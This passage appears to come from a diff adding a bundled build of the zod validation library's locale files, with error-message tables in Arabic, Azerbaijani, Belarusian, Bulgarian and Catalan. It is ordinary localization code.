\u0628\u0645\u0639\u064A\u0627\u0631 ISO", + date: "\u062A\u0627\u0631\u064A\u062E \u0628\u0645\u0639\u064A\u0627\u0631 ISO", + time: "\u0648\u0642\u062A \u0628\u0645\u0639\u064A\u0627\u0631 ISO", + duration: "\u0645\u062F\u0629 \u0628\u0645\u0639\u064A\u0627\u0631 ISO", + ipv4: "\u0639\u0646\u0648\u0627\u0646 IPv4", + ipv6: "\u0639\u0646\u0648\u0627\u0646 IPv6", + cidrv4: "\u0645\u062F\u0649 \u0639\u0646\u0627\u0648\u064A\u0646 \u0628\u0635\u064A\u063A\u0629 IPv4", + cidrv6: "\u0645\u062F\u0649 \u0639\u0646\u0627\u0648\u064A\u0646 \u0628\u0635\u064A\u063A\u0629 IPv6", + base64: "\u0646\u064E\u0635 \u0628\u062A\u0631\u0645\u064A\u0632 base64-encoded", + base64url: "\u0646\u064E\u0635 \u0628\u062A\u0631\u0645\u064A\u0632 base64url-encoded", + json_string: "\u0646\u064E\u0635 \u0639\u0644\u0649 \u0647\u064A\u0626\u0629 JSON", + e164: "\u0631\u0642\u0645 \u0647\u0627\u062A\u0641 \u0628\u0645\u0639\u064A\u0627\u0631 E.164", + jwt: "JWT", + template_literal: "\u0645\u062F\u062E\u0644" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `\u0645\u062F\u062E\u0644\u0627\u062A \u063A\u064A\u0631 \u0645\u0642\u0628\u0648\u0644\u0629: \u064A\u0641\u062A\u0631\u0636 \u0625\u062F\u062E\u0627\u0644 instanceof ${issue2.expected}\u060C \u0648\u0644\u0643\u0646 \u062A\u0645 \u0625\u062F\u062E\u0627\u0644 ${received}`; + } + return `\u0645\u062F\u062E\u0644\u0627\u062A \u063A\u064A\u0631 \u0645\u0642\u0628\u0648\u0644\u0629: \u064A\u0641\u062A\u0631\u0636 \u0625\u062F\u062E\u0627\u0644 ${expected}\u060C \u0648\u0644\u0643\u0646 \u062A\u0645 \u0625\u062F\u062E\u0627\u0644 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0645\u062F\u062E\u0644\u0627\u062A \u063A\u064A\u0631 \u0645\u0642\u0628\u0648\u0644\u0629: \u064A\u0641\u062A\u0631\u0636 \u0625\u062F\u062E\u0627\u0644 ${stringifyPrimitive(issue2.values[0])}`; + return `\u0627\u062E\u062A\u064A\u0627\u0631 \u063A\u064A\u0631 \u0645\u0642\u0628\u0648\u0644: \u064A\u062A\u0648\u0642\u0639 \u0627\u0646\u062A\u0642\u0627\u0621 \u0623\u062D\u062F \u0647\u0630\u0647 \u0627\u0644\u062E\u064A\u0627\u0631\u0627\u062A: ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return ` \u0623\u0643\u0628\u0631 \u0645\u0646 \u0627\u0644\u0644\u0627\u0632\u0645: \u064A\u0641\u062A\u0631\u0636 \u0623\u0646 \u062A\u0643\u0648\u0646 ${issue2.origin ?? "\u0627\u0644\u0642\u064A\u0645\u0629"} ${adj} ${issue2.maximum.toString()} ${sizing.unit ?? "\u0639\u0646\u0635\u0631"}`; + return `\u0623\u0643\u0628\u0631 \u0645\u0646 \u0627\u0644\u0644\u0627\u0632\u0645: \u064A\u0641\u062A\u0631\u0636 \u0623\u0646 \u062A\u0643\u0648\u0646 ${issue2.origin ?? "\u0627\u0644\u0642\u064A\u0645\u0629"} ${adj} ${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `\u0623\u0635\u063A\u0631 \u0645\u0646 \u0627\u0644\u0644\u0627\u0632\u0645: \u064A\u0641\u062A\u0631\u0636 \u0644\u0640 ${issue2.origin} \u0623\u0646 \u064A\u0643\u0648\u0646 ${adj} ${issue2.minimum.toString()} ${sizing.unit}`; + } + return `\u0623\u0635\u063A\u0631 \u0645\u0646 \u0627\u0644\u0644\u0627\u0632\u0645: \u064A\u0641\u062A\u0631\u0636 \u0644\u0640 ${issue2.origin} \u0623\u0646 \u064A\u0643\u0648\u0646 ${adj} ${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `\u0646\u064E\u0635 \u063A\u064A\u0631 \u0645\u0642\u0628\u0648\u0644: \u064A\u062C\u0628 \u0623\u0646 \u064A\u0628\u062F\u0623 \u0628\u0640 "${issue2.prefix}"`; + if (_issue.format === "ends_with") + return `\u0646\u064E\u0635 \u063A\u064A\u0631 \u0645\u0642\u0628\u0648\u0644: \u064A\u062C\u0628 \u0623\u0646 \u064A\u0646\u062A\u0647\u064A \u0628\u0640 "${_issue.suffix}"`; + if (_issue.format === "includes") + return `\u0646\u064E\u0635 \u063A\u064A\u0631 \u0645\u0642\u0628\u0648\u0644: \u064A\u062C\u0628 \u0623\u0646 \u064A\u062A\u0636\u0645\u0651\u064E\u0646 "${_issue.includes}"`; + if (_issue.format === "regex") + return `\u0646\u064E\u0635 \u063A\u064A\u0631 \u0645\u0642\u0628\u0648\u0644: \u064A\u062C\u0628 \u0623\u0646 \u064A\u0637\u0627\u0628\u0642 \u0627\u0644\u0646\u0645\u0637 ${_issue.pattern}`; + return `${FormatDictionary[_issue.format] ?? issue2.format} \u063A\u064A\u0631 \u0645\u0642\u0628\u0648\u0644`; + } + case "not_multiple_of": + return `\u0631\u0642\u0645 \u063A\u064A\u0631 \u0645\u0642\u0628\u0648\u0644: \u064A\u062C\u0628 \u0623\u0646 \u064A\u0643\u0648\u0646 \u0645\u0646 \u0645\u0636\u0627\u0639\u0641\u0627\u062A ${issue2.divisor}`; + case "unrecognized_keys": + return `\u0645\u0639\u0631\u0641${issue2.keys.length > 1 ? "\u0627\u062A" : ""} \u063A\u0631\u064A\u0628${issue2.keys.length > 1 ? "\u0629" : ""}: ${joinValues(issue2.keys, "\u060C ")}`; + case "invalid_key": + return `\u0645\u0639\u0631\u0641 \u063A\u064A\u0631 \u0645\u0642\u0628\u0648\u0644 \u0641\u064A ${issue2.origin}`; + case "invalid_union": + return "\u0645\u062F\u062E\u0644 \u063A\u064A\u0631 \u0645\u0642\u0628\u0648\u0644"; + case "invalid_element": + return `\u0645\u062F\u062E\u0644 \u063A\u064A\u0631 \u0645\u0642\u0628\u0648\u0644 \u0641\u064A ${issue2.origin}`; + default: + return "\u0645\u062F\u062E\u0644 \u063A\u064A\u0631 \u0645\u0642\u0628\u0648\u0644"; + } + }; +}; +function ar_default() { + return { + localeError: error() + }; +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/az.js +var error2 = () => { + const Sizable = { + string: { unit: "simvol", verb: "olmal\u0131d\u0131r" }, + file: { unit: "bayt", verb: "olmal\u0131d\u0131r" }, + array: { unit: "element", verb: "olmal\u0131d\u0131r" }, + set: { unit: "element", verb: "olmal\u0131d\u0131r" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "input", + email: "email address", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO datetime", + date: "ISO date", + time: "ISO time", + duration: "ISO duration", + ipv4: "IPv4 address", + ipv6: "IPv6 address", + cidrv4: "IPv4 range", + cidrv6: "IPv6 range", + base64: "base64-encoded string", + base64url: "base64url-encoded string", + json_string: "JSON string", + e164: "E.164 number", + jwt: "JWT", + template_literal: "input" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `Yanl\u0131\u015F d\u0259y\u0259r: g\xF6zl\u0259nil\u0259n instanceof ${issue2.expected}, daxil olan ${received}`; + } + return `Yanl\u0131\u015F d\u0259y\u0259r: g\xF6zl\u0259nil\u0259n ${expected}, daxil olan ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Yanl\u0131\u015F d\u0259y\u0259r: g\xF6zl\u0259nil\u0259n ${stringifyPrimitive(issue2.values[0])}`; + return `Yanl\u0131\u015F se\xE7im: a\u015Fa\u011F\u0131dak\u0131lardan biri olmal\u0131d\u0131r: ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\xC7ox b\xF6y\xFCk: g\xF6zl\u0259nil\u0259n ${issue2.origin ?? "d\u0259y\u0259r"} ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "element"}`; + return `\xC7ox b\xF6y\xFCk: g\xF6zl\u0259nil\u0259n ${issue2.origin ?? "d\u0259y\u0259r"} ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\xC7ox ki\xE7ik: g\xF6zl\u0259nil\u0259n ${issue2.origin} ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + return `\xC7ox ki\xE7ik: g\xF6zl\u0259nil\u0259n ${issue2.origin} ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `Yanl\u0131\u015F m\u0259tn: "${_issue.prefix}" il\u0259 ba\u015Flamal\u0131d\u0131r`; + if (_issue.format === "ends_with") + return `Yanl\u0131\u015F m\u0259tn: "${_issue.suffix}" il\u0259 bitm\u0259lidir`; + if (_issue.format === "includes") + return `Yanl\u0131\u015F m\u0259tn: "${_issue.includes}" daxil olmal\u0131d\u0131r`; + if (_issue.format === "regex") + return `Yanl\u0131\u015F m\u0259tn: ${_issue.pattern} \u015Fablonuna uy\u011Fun olmal\u0131d\u0131r`; + return `Yanl\u0131\u015F ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `Yanl\u0131\u015F \u0259d\u0259d: ${issue2.divisor} il\u0259 b\xF6l\xFCn\u0259 bil\u0259n olmal\u0131d\u0131r`; + case "unrecognized_keys": + return `Tan\u0131nmayan a\xE7ar${issue2.keys.length > 1 ? "lar" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `${issue2.origin} daxilind\u0259 yanl\u0131\u015F a\xE7ar`; + case "invalid_union": + return "Yanl\u0131\u015F d\u0259y\u0259r"; + case "invalid_element": + return `${issue2.origin} daxilind\u0259 yanl\u0131\u015F d\u0259y\u0259r`; + default: + return `Yanl\u0131\u015F d\u0259y\u0259r`; + } + }; +}; +function az_default() { + return { + localeError: error2() + }; +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/be.js +function getBelarusianPlural(count, one, few, many) { + const absCount = Math.abs(count); + const lastDigit = absCount % 10; + const lastTwoDigits = absCount % 100; + if (lastTwoDigits >= 11 && lastTwoDigits <= 19) { + return many; + } + if (lastDigit === 1) { + return one; + } + if (lastDigit >= 2 && lastDigit <= 4) { + return few; + } + return many; +} +var error3 = () => { + const Sizable = { + string: { + unit: { + one: "\u0441\u0456\u043C\u0432\u0430\u043B", + few: "\u0441\u0456\u043C\u0432\u0430\u043B\u044B", + many: "\u0441\u0456\u043C\u0432\u0430\u043B\u0430\u045E" + }, + verb: "\u043C\u0435\u0446\u044C" + }, + array: { + unit: { + one: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442", + few: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u044B", + many: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u0430\u045E" + }, + verb: "\u043C\u0435\u0446\u044C" + }, + set: { + unit: { + one: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442", + few: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u044B", + many: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u0430\u045E" + }, + verb: "\u043C\u0435\u0446\u044C" + }, + file: { + unit: { + one: "\u0431\u0430\u0439\u0442", + few: "\u0431\u0430\u0439\u0442\u044B", + many: "\u0431\u0430\u0439\u0442\u0430\u045E" + }, + verb: "\u043C\u0435\u0446\u044C" + } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0443\u0432\u043E\u0434", + email: "email \u0430\u0434\u0440\u0430\u0441", + url: "URL", + emoji: "\u044D\u043C\u043E\u0434\u0437\u0456", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u0434\u0430\u0442\u0430 \u0456 \u0447\u0430\u0441", + date: "ISO \u0434\u0430\u0442\u0430", + time: "ISO \u0447\u0430\u0441", + duration: "ISO \u043F\u0440\u0430\u0446\u044F\u0433\u043B\u0430\u0441\u0446\u044C", + ipv4: "IPv4 \u0430\u0434\u0440\u0430\u0441", + ipv6: "IPv6 \u0430\u0434\u0440\u0430\u0441", + cidrv4: "IPv4 \u0434\u044B\u044F\u043F\u0430\u0437\u043E\u043D", + cidrv6: "IPv6 \u0434\u044B\u044F\u043F\u0430\u0437\u043E\u043D", + base64: "\u0440\u0430\u0434\u043E\u043A \u0443 \u0444\u0430\u0440\u043C\u0430\u0446\u0435 base64", + base64url: "\u0440\u0430\u0434\u043E\u043A \u0443 \u0444\u0430\u0440\u043C\u0430\u0446\u0435 base64url", + json_string: "JSON \u0440\u0430\u0434\u043E\u043A", + e164: "\u043D\u0443\u043C\u0430\u0440 E.164", + jwt: "JWT", + template_literal: "\u0443\u0432\u043E\u0434" + }; + const TypeDictionary = { + nan: "NaN", + number: "\u043B\u0456\u043A", + array: "\u043C\u0430\u0441\u0456\u045E" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `\u041D\u044F\u043F\u0440\u0430\u0432\u0456\u043B\u044C\u043D\u044B \u045E\u0432\u043E\u0434: \u0447\u0430\u043A\u0430\u045E\u0441\u044F instanceof ${issue2.expected}, \u0430\u0442\u0440\u044B\u043C\u0430\u043D\u0430 ${received}`; + } + return `\u041D\u044F\u043F\u0440\u0430\u0432\u0456\u043B\u044C\u043D\u044B \u045E\u0432\u043E\u0434: \u0447\u0430\u043A\u0430\u045E\u0441\u044F ${expected}, \u0430\u0442\u0440\u044B\u043C\u0430\u043D\u0430 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u041D\u044F\u043F\u0440\u0430\u0432\u0456\u043B\u044C\u043D\u044B \u045E\u0432\u043E\u0434: \u0447\u0430\u043A\u0430\u043B\u0430\u0441\u044F ${stringifyPrimitive(issue2.values[0])}`; + return `\u041D\u044F\u043F\u0440\u0430\u0432\u0456\u043B\u044C\u043D\u044B \u0432\u0430\u0440\u044B\u044F\u043D\u0442: \u0447\u0430\u043A\u0430\u045E\u0441\u044F \u0430\u0434\u0437\u0456\u043D \u0437 ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) { + const maxValue = Number(issue2.maximum); + const unit = getBelarusianPlural(maxValue, sizing.unit.one, sizing.unit.few, sizing.unit.many); + return `\u0417\u0430\u043D\u0430\u0434\u0442\u0430 \u0432\u044F\u043B\u0456\u043A\u0456: \u0447\u0430\u043A\u0430\u043B\u0430\u0441\u044F, \u0448\u0442\u043E ${issue2.origin ?? "\u0437\u043D\u0430\u0447\u044D\u043D\u043D\u0435"} \u043F\u0430\u0432\u0456\u043D\u043D\u0430 ${sizing.verb} ${adj}${issue2.maximum.toString()} ${unit}`; + } + return `\u0417\u0430\u043D\u0430\u0434\u0442\u0430 \u0432\u044F\u043B\u0456\u043A\u0456: \u0447\u0430\u043A\u0430\u043B\u0430\u0441\u044F, \u0448\u0442\u043E ${issue2.origin ?? "\u0437\u043D\u0430\u0447\u044D\u043D\u043D\u0435"} \u043F\u0430\u0432\u0456\u043D\u043D\u0430 \u0431\u044B\u0446\u044C ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + const minValue = Number(issue2.minimum); + const unit = getBelarusianPlural(minValue, sizing.unit.one, sizing.unit.few, sizing.unit.many); + return `\u0417\u0430\u043D\u0430\u0434\u0442\u0430 \u043C\u0430\u043B\u044B: \u0447\u0430\u043A\u0430\u043B\u0430\u0441\u044F, \u0448\u0442\u043E ${issue2.origin} \u043F\u0430\u0432\u0456\u043D\u043D\u0430 ${sizing.verb} ${adj}${issue2.minimum.toString()} ${unit}`; + } + return `\u0417\u0430\u043D\u0430\u0434\u0442\u0430 \u043C\u0430\u043B\u044B: \u0447\u0430\u043A\u0430\u043B\u0430\u0441\u044F, \u0448\u0442\u043E ${issue2.origin} \u043F\u0430\u0432\u0456\u043D\u043D\u0430 \u0431\u044B\u0446\u044C ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `\u041D\u044F\u043F\u0440\u0430\u0432\u0456\u043B\u044C\u043D\u044B \u0440\u0430\u0434\u043E\u043A: \u043F\u0430\u0432\u0456\u043D\u0435\u043D \u043F\u0430\u0447\u044B\u043D\u0430\u0446\u0446\u0430 \u0437 "${_issue.prefix}"`; + if (_issue.format === "ends_with") + return `\u041D\u044F\u043F\u0440\u0430\u0432\u0456\u043B\u044C\u043D\u044B \u0440\u0430\u0434\u043E\u043A: \u043F\u0430\u0432\u0456\u043D\u0435\u043D \u0437\u0430\u043A\u0430\u043D\u0447\u0432\u0430\u0446\u0446\u0430 \u043D\u0430 "${_issue.suffix}"`; + if (_issue.format === "includes") + return `\u041D\u044F\u043F\u0440\u0430\u0432\u0456\u043B\u044C\u043D\u044B \u0440\u0430\u0434\u043E\u043A: \u043F\u0430\u0432\u0456\u043D\u0435\u043D \u0437\u043C\u044F\u0448\u0447\u0430\u0446\u044C "${_issue.includes}"`; + if (_issue.format === "regex") + return `\u041D\u044F\u043F\u0440\u0430\u0432\u0456\u043B\u044C\u043D\u044B \u0440\u0430\u0434\u043E\u043A: \u043F\u0430\u0432\u0456\u043D\u0435\u043D \u0430\u0434\u043F\u0430\u0432\u044F\u0434\u0430\u0446\u044C \u0448\u0430\u0431\u043B\u043E\u043D\u0443 ${_issue.pattern}`; + return `\u041D\u044F\u043F\u0440\u0430\u0432\u0456\u043B\u044C\u043D\u044B ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u041D\u044F\u043F\u0440\u0430\u0432\u0456\u043B\u044C\u043D\u044B \u043B\u0456\u043A: \u043F\u0430\u0432\u0456\u043D\u0435\u043D \u0431\u044B\u0446\u044C \u043A\u0440\u0430\u0442\u043D\u044B\u043C ${issue2.divisor}`; + case "unrecognized_keys": + return `\u041D\u0435\u0440\u0430\u0441\u043F\u0430\u0437\u043D\u0430\u043D\u044B ${issue2.keys.length > 1 ? "\u043A\u043B\u044E\u0447\u044B" : "\u043A\u043B\u044E\u0447"}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u041D\u044F\u043F\u0440\u0430\u0432\u0456\u043B\u044C\u043D\u044B \u043A\u043B\u044E\u0447 \u0443 ${issue2.origin}`; + case "invalid_union": + return "\u041D\u044F\u043F\u0440\u0430\u0432\u0456\u043B\u044C\u043D\u044B \u045E\u0432\u043E\u0434"; + case "invalid_element": + return `\u041D\u044F\u043F\u0440\u0430\u0432\u0456\u043B\u044C\u043D\u0430\u0435 \u0437\u043D\u0430\u0447\u044D\u043D\u043D\u0435 \u045E ${issue2.origin}`; + default: + return `\u041D\u044F\u043F\u0440\u0430\u0432\u0456\u043B\u044C\u043D\u044B \u045E\u0432\u043E\u0434`; + } + }; +}; +function be_default() { + return { + localeError: error3() + }; +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/bg.js +var error4 = () => { + const Sizable = { + string: { unit: "\u0441\u0438\u043C\u0432\u043E\u043B\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" }, + file: { unit: "\u0431\u0430\u0439\u0442\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" }, + array: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" }, + set: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0432\u0445\u043E\u0434", + email: "\u0438\u043C\u0435\u0439\u043B \u0430\u0434\u0440\u0435\u0441", + url: "URL", + emoji: "\u0435\u043C\u043E\u0434\u0436\u0438", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u0432\u0440\u0435\u043C\u0435", + date: "ISO \u0434\u0430\u0442\u0430", + time: "ISO \u0432\u0440\u0435\u043C\u0435", + duration: "ISO \u043F\u0440\u043E\u0434\u044A\u043B\u0436\u0438\u0442\u0435\u043B\u043D\u043E\u0441\u0442", + ipv4: "IPv4 \u0430\u0434\u0440\u0435\u0441", + ipv6: "IPv6 \u0430\u0434\u0440\u0435\u0441", + cidrv4: "IPv4 \u0434\u0438\u0430\u043F\u0430\u0437\u043E\u043D", + cidrv6: "IPv6 \u0434\u0438\u0430\u043F\u0430\u0437\u043E\u043D", + base64: "base64-\u043A\u043E\u0434\u0438\u0440\u0430\u043D \u043D\u0438\u0437", + base64url: "base64url-\u043A\u043E\u0434\u0438\u0440\u0430\u043D \u043D\u0438\u0437", + json_string: "JSON \u043D\u0438\u0437", + e164: "E.164 \u043D\u043E\u043C\u0435\u0440", + jwt: "JWT", + template_literal: "\u0432\u0445\u043E\u0434" + }; + const TypeDictionary = { + nan: "NaN", + number: "\u0447\u0438\u0441\u043B\u043E", + array: "\u043C\u0430\u0441\u0438\u0432" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `\u041D\u0435\u0432\u0430\u043B\u0438\u0434\u0435\u043D \u0432\u0445\u043E\u0434: \u043E\u0447\u0430\u043A\u0432\u0430\u043D instanceof ${issue2.expected}, \u043F\u043E\u043B\u0443\u0447\u0435\u043D ${received}`; + } + return `\u041D\u0435\u0432\u0430\u043B\u0438\u0434\u0435\u043D \u0432\u0445\u043E\u0434: \u043E\u0447\u0430\u043A\u0432\u0430\u043D ${expected}, \u043F\u043E\u043B\u0443\u0447\u0435\u043D ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u041D\u0435\u0432\u0430\u043B\u0438\u0434\u0435\u043D \u0432\u0445\u043E\u0434: \u043E\u0447\u0430\u043A\u0432\u0430\u043D ${stringifyPrimitive(issue2.values[0])}`; + return `\u041D\u0435\u0432\u0430\u043B\u0438\u0434\u043D\u0430 \u043E\u043F\u0446\u0438\u044F: \u043E\u0447\u0430\u043A\u0432\u0430\u043D\u043E \u0435\u0434\u043D\u043E \u043E\u0442 ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0422\u0432\u044A\u0440\u0434\u0435 \u0433\u043E\u043B\u044F\u043C\u043E: \u043E\u0447\u0430\u043A\u0432\u0430 \u0441\u0435 ${issue2.origin ?? "\u0441\u0442\u043E\u0439\u043D\u043E\u0441\u0442"} \u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430 ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0430"}`; + return `\u0422\u0432\u044A\u0440\u0434\u0435 \u0433\u043E\u043B\u044F\u043C\u043E: \u043E\u0447\u0430\u043A\u0432\u0430 \u0441\u0435 ${issue2.origin ?? "\u0441\u0442\u043E\u0439\u043D\u043E\u0441\u0442"} \u0434\u0430 \u0431\u044A\u0434\u0435 ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `\u0422\u0432\u044A\u0440\u0434\u0435 \u043C\u0430\u043B\u043A\u043E: \u043E\u0447\u0430\u043A\u0432\u0430 \u0441\u0435 ${issue2.origin} \u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430 ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + } + return `\u0422\u0432\u044A\u0440\u0434\u0435 \u043C\u0430\u043B\u043A\u043E: \u043E\u0447\u0430\u043A\u0432\u0430 \u0441\u0435 ${issue2.origin} \u0434\u0430 \u0431\u044A\u0434\u0435 ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `\u041D\u0435\u0432\u0430\u043B\u0438\u0434\u0435\u043D \u043D\u0438\u0437: \u0442\u0440\u044F\u0431\u0432\u0430 \u0434\u0430 \u0437\u0430\u043F\u043E\u0447\u0432\u0430 \u0441 "${_issue.prefix}"`; + } + if (_issue.format === "ends_with") + return `\u041D\u0435\u0432\u0430\u043B\u0438\u0434\u0435\u043D \u043D\u0438\u0437: \u0442\u0440\u044F\u0431\u0432\u0430 \u0434\u0430 \u0437\u0430\u0432\u044A\u0440\u0448\u0432\u0430 \u0441 "${_issue.suffix}"`; + if (_issue.format === "includes") + return `\u041D\u0435\u0432\u0430\u043B\u0438\u0434\u0435\u043D \u043D\u0438\u0437: \u0442\u0440\u044F\u0431\u0432\u0430 \u0434\u0430 \u0432\u043A\u043B\u044E\u0447\u0432\u0430 "${_issue.includes}"`; + if (_issue.format === "regex") + return `\u041D\u0435\u0432\u0430\u043B\u0438\u0434\u0435\u043D \u043D\u0438\u0437: \u0442\u0440\u044F\u0431\u0432\u0430 \u0434\u0430 \u0441\u044A\u0432\u043F\u0430\u0434\u0430 \u0441 ${_issue.pattern}`; + let invalid_adj = "\u041D\u0435\u0432\u0430\u043B\u0438\u0434\u0435\u043D"; + if (_issue.format === "emoji") + invalid_adj = "\u041D\u0435\u0432\u0430\u043B\u0438\u0434\u043D\u043E"; + if (_issue.format === "datetime") + invalid_adj = "\u041D\u0435\u0432\u0430\u043B\u0438\u0434\u043D\u043E"; + if (_issue.format === "date") + invalid_adj = "\u041D\u0435\u0432\u0430\u043B\u0438\u0434\u043D\u0430"; + if (_issue.format === "time") + invalid_adj = "\u041D\u0435\u0432\u0430\u043B\u0438\u0434\u043D\u043E"; + if (_issue.format === "duration") + invalid_adj = "\u041D\u0435\u0432\u0430\u043B\u0438\u0434\u043D\u0430"; + return `${invalid_adj} ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u041D\u0435\u0432\u0430\u043B\u0438\u0434\u043D\u043E \u0447\u0438\u0441\u043B\u043E: \u0442\u0440\u044F\u0431\u0432\u0430 \u0434\u0430 \u0431\u044A\u0434\u0435 \u043A\u0440\u0430\u0442\u043D\u043E \u043D\u0430 ${issue2.divisor}`; + case "unrecognized_keys": + return `\u041D\u0435\u0440\u0430\u0437\u043F\u043E\u0437\u043D\u0430\u0442${issue2.keys.length > 1 ? "\u0438" : ""} \u043A\u043B\u044E\u0447${issue2.keys.length > 1 ? "\u043E\u0432\u0435" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u041D\u0435\u0432\u0430\u043B\u0438\u0434\u0435\u043D \u043A\u043B\u044E\u0447 \u0432 ${issue2.origin}`; + case "invalid_union": + return "\u041D\u0435\u0432\u0430\u043B\u0438\u0434\u0435\u043D \u0432\u0445\u043E\u0434"; + case "invalid_element": + return `\u041D\u0435\u0432\u0430\u043B\u0438\u0434\u043D\u0430 \u0441\u0442\u043E\u0439\u043D\u043E\u0441\u0442 \u0432 ${issue2.origin}`; + default: + return `\u041D\u0435\u0432\u0430\u043B\u0438\u0434\u0435\u043D \u0432\u0445\u043E\u0434`; + } + }; +}; +function bg_default() { + return { + localeError: error4() + }; +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ca.js +var error5 = () => { + const Sizable = { + string: { unit: "car\xE0cters", verb: "contenir" }, + file: { unit: "bytes", verb: "contenir" }, + array: { unit: "elements", verb: "contenir" }, + set: { unit: "elements", verb: "contenir" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "entrada", + email: "adre\xE7a electr\xF2nica", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + 